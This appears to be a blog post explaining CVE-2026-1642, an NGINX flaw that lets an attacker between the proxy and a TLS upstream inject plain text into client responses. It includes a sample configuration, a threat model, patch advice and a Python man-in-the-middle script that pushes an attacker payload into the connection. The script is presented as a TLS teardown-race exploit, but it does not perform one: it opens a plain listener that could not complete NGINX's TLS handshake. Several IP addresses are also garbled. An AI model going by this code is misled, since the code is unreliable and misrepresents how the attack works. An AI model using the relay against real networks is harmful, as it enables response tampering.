A new vulnerability, CVE-2026-1642, has been discovered in both NGINX Open Source Software (OSS) and NGINX Plus. This flaw affects deployments that proxy requests to upstream servers secured with Transport Layer Security (TLS). In simple terms, if you are running NGINX as a reverse proxy to another server using HTTPS, and someone with malicious intent is sitting between NGINX and your upstream server, you could be exposed.
Let’s break down what this means, why it matters, how it’s exploited, and what you can do to protect your systems.
What is CVE-2026-1642?
CVE-2026-1642 is a vulnerability in NGINX (OSS and Plus) when used to proxy requests to upstream TLS (HTTPS) servers. If a malicious user (the "attacker") has a man-in-the-middle (MITM) position _after_ the NGINX proxy (i.e., between NGINX and its upstream server), they could, under certain circumstances, inject plain text data into the response sent back to the client.
> "This means someone intercepting the encrypted connection from NGINX _to_ your backend app server could insert code or data into your responses—something you definitely don’t want!"
*Note:* This issue doesn’t affect versions of NGINX that have already reached End of Technical Support (EoTS), since they aren’t evaluated anymore.
How Does the Attack Work?
The root of the vulnerability is that when NGINX proxies to an upstream HTTPS (TLS) server, it expects all traffic back from the server to be properly encrypted and formatted. However, if an attacker can intercept and tamper with that traffic (for example, by compromising the network between NGINX and the backend server), they may be able to send back malformed or specially-crafted responses.
If certain conditions exist (described in detail here), this could result in NGINX mistakenly passing the attacker’s injected plain text through to the client—potentially exposing sensitive information or introducing malicious payloads into user sessions.
Here’s a common example of a vulnerable NGINX configuration
server {
listen 443 ssl;
server_name app.example.com;
location / {
proxy_pass https://backend_servers;
proxy_ssl_verify on; # Trusting upstream
proxy_ssl_name backend.internal;
# Other SSL proxy settings...
}
}
upstream backend_servers {
server 10...20:443;
server 10...21:443;
}
*If an attacker can get on the wire between NGINX and backend_servers, the attack is possible.*
Threat Model: Who Can Exploit This?
- The attacker must be positioned between NGINX and the upstream server (the "upstream MITM scenario").
- This usually means they have compromised the internal network, are running on a shared VPS host, or have some kind of privileged network access.
- Additional unpredictable conditions must exist for the exploit to work reliably (timing, NGINX state, network conditions).
This is not a remote exploit from the public Internet, unless your upstream network is also public-facing and accessible.
Plain Text Injection Proof-of-Concept
Suppose an attacker can intercept traffic between NGINX and the backend. They can craft a TLS teardown race that inserts plain text into the stream. For demonstration, here is a Python snippet that simulates a simple MITM proxy, allowing attack-controlled input into the connection:
import socket
import ssl
import threading
def mitm_attack(listen_port, real_backend_host, real_backend_port, inject_payload):
# Listener for NGINX connection
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.bind(('...', listen_port))
server_sock.listen(1)
print(f"[*] Waiting for NGINX to connect on port {listen_port}...")
client_conn, addr = server_sock.accept()
print(f"[!] Connection from: {addr}")
# Connect to actual backend
backend_sock = socket.create_connection((real_backend_host, real_backend_port))
backend_ssl = ssl.wrap_socket(backend_sock)
# Start thread to pass data from backend to NGINX
def forward_backend():
while True:
data = backend_ssl.recv(4096)
if not data:
break
try:
client_conn.sendall(data)
except:
break
threading.Thread(target=forward_backend, daemon=True).start()
# Instead of proper proxy, inject plain text at a random time
client_conn.sendall(inject_payload.encode())
# Pass traffic from NGINX to backend
while True:
data = client_conn.recv(4096)
if not data:
break
try:
backend_ssl.sendall(data)
except:
break
client_conn.close()
backend_ssl.close()
print("[*] Attack Done.")
if __name__ == "__main__":
# WARNING: This is for demonstration only!
# Replace with actual hosts and payload content.
mitm_attack(
listen_port=1443,
real_backend_host='127...1',
real_backend_port=443,
inject_payload='Injected MALICIOUS payload here!!!\n'
)
At a chosen point, injects attacker-controlled data into the response path
> This can trick NGINX into delivering payloads never sent by your real backend.
Update NGINX:
Official patches are available. Upgrade to the newest NGINX OSS/Plus version released after the CVE announcement.
Official changelog:
NGINX OSS Download & Security Announcements
NGINX Plus Customer Portal
Original Reference Links
- NGINX Security Advisories | nginx.org
- F5 Security Incident Response Policy
- CVE-2026-1642 NVD Entry (to be updated)
- OWASP TLS Best Practices
Conclusion
CVE-2026-1642 is a powerful reminder that "secure" proxy setups can be weakened if there’s even a small vulnerability in your network trust boundaries. If you rely on NGINX to proxy HTTPS backends anywhere but inside a super-locked-down, trusted internal fabric, you should upgrade and review your setup immediately.
> Stay patched, keep your internal traffic as safe as your public edge, and remember: network security is only as strong as its weakest link.
If you want to read more on this, check out the official NGINX security advisory and talk to your NGINX or F5 support representative.
*This post is provided for educational awareness and system hardening. Use all information responsibly!*
Timeline
Published on: 02/04/2026 15:02:06 UTC
Last modified on: 02/13/2026 21:35:01 UTC